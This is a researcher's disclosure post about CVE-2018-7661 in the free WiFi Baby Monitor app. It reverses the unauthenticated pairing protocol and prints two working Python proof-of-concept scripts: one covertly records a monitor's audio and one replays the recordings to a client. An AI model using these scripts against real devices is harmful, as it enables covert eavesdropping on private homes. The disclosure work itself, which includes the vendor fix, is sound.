Written by Rob

Whilst analysing a number of free communication based applications on the Google Play Store, I took a look at WiFi Baby Monitor: Free & Lite (the free version of WiFi Baby Monitor). Although the premium version offered users the ability to specify a password to be used in the pairing process, the free version offered no such function.

Monitoring the traffic using Wireshark during the pairing process revealed:

The initial connection is made on port 8257

To start the pairing process, the same sequence is sent each time

After the pairing process is finished, another connection is opened to port 8258, where the audio data will be transmitted

After the connection is made to port 8258, the connection on port 8257 is kept open and used as a heartbeat for the session

On the heartbeat connection, the client will periodically send 0x01 to the baby monitor (roughly once per second)

Abusing The Protocol to Record Audio

With the pairing process reversed, it was possible to create a proof of concept which proved that it was possible to deploy a small program into a compromised network which would eavesdrop on a baby monitor and allow for an attacker to play the recording back at a later date at their discretion.

The [very hacky] proof of concept code can be found below:

import socket import sys import time if len(sys.argv) < 2: print "Usage: python {file} target_ip [port]".format(file = sys.argv[0]) exit(1) target = sys.argv[1] port = 8257 if len(sys.argv) == 3: port = int(sys.argv[2]) s = socket.socket() s.connect((target, port)) s.send('\x01') s.send('\x02\x64\x00\x00\x00\x13\x2b\x52\x65\x63\x65\x69\x76\x65\x72\x53' + '\x74\x61\x72\x74\x5f\x32\x2e\x30\x32\x00\x00\x00\x00\x03\x23\x31' + '\x30\x00\x00\x00\x00\x03\x23\x32\x30\x00\x00\x00\x00\x03\x23\x32' + '\x31\x00\x00\x00\x00\x03\x23\x32\x32\x00\x00\x00\x00\x03\x23\x32' + '\x33') heartbeat_dump = open('dump.heartbeat.bin', 'wb') data_dump = open('dump.data.bin', 'wb') has_data_socket = False data_socket = socket.socket() delta = 0 while True: time.sleep(1) data = s.recv(2048) if data is not None: heartbeat_dump.write(data) print '[*] Received {bytes} bytes on heartbeat socket'.format(bytes = len(data)) s.send('\x01') if has_data_socket: data = data_socket.recv(2048) if data is not None: data_dump.write(data) print '[*] Received {bytes} bytes on data socket'.format(bytes = len(data)) data_socket.send('\x01') else: print '[*] Establishing data connection' data_socket.connect((target, 8258)) data_socket.send('\x01') data_socket.send('\x02\x64\x00\x00\x00\x07\x33\x5f\x5f\x30\x30\x30\x30') has_data_socket = True print '[*] Established data connection' delta += 1 heartbeat_dump.close data_dump.close

This script establishes a connection to the baby monitor and begins to dump out the data from port 8257 to dump.heartbeat.bin and the data from port 8258 to dump.data.bin .

Replaying the Recordings

In order to replay the recordings made by the proof of concept, I created a second script which would act as a baby monitor and replay the data back to a client; which allows for replay via the original application:

import socket import sys import time s = socket.socket() s.bind(('0.0.0.0', 8257)) s.listen(5) print '[*] Heartbeat socket listening on port 8257' data_socket = socket.socket() data_socket.bind(('0.0.0.0', 8258)) data_socket.listen(5) print '[*] Data socket listening on port 8258' data = '' with open('dump.heartbeat.bin', 'r') as replay_file: data = replay_file.read() wav_data = '' with open('dump.data.bin', 'r') as wav_file: wav_data = wav_file.read() c, addr = s.accept() print '[*] Connection from {client}'.format(client = addr) c.send(data) data_connection, addr = data_socket.accept() print '[*] Data connection from {client}'.format(client = addr) data_connection.send(wav_data) buf_start = 0 buf_end = wav_data.find('\x00\x00\x00\x01', 1) buf = wav_data[buf_start:buf_end] while buf is not None: c.send('\x01') print '[*] Sending {bytes} bytes'.format(bytes = len(buf)) data_connection.send(buf) time.sleep(0.1) if buf_end == -1 or buf_start == -1: buf = None else: buf_start = buf_end buf_end = wav_data.find('\x00\x00\x00\x01', buf_end + 1) if buf_end == -1: buf = wav_data[buf_start:] else: buf = wav_data[buf_start:buf_end] data_connection.close() c.close() print '[*] Connection closed'

A demonstration of the replay script accepting a connection from a client and replaying a recording can be seen below:

Solution

When notified, the vendor took the [respectably] responsible approach and made available to the free version the security features that were previously exclusive to the premium version.

To prevent this attack, users can simply update to the latest version of the application (v2.02.2, at the time of writing this).

CVE-ID

CVE-2018-7661

CVSS Score

CVSS Base Score: 5.9

Impact Subscore: 4.2

Exploitability Subscore: 1.6

CVSS Temporal Score: 5.3

Overall CVSS Score: 5.3

Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H/E:P/RL:O/RC:C

Disclosure Timeline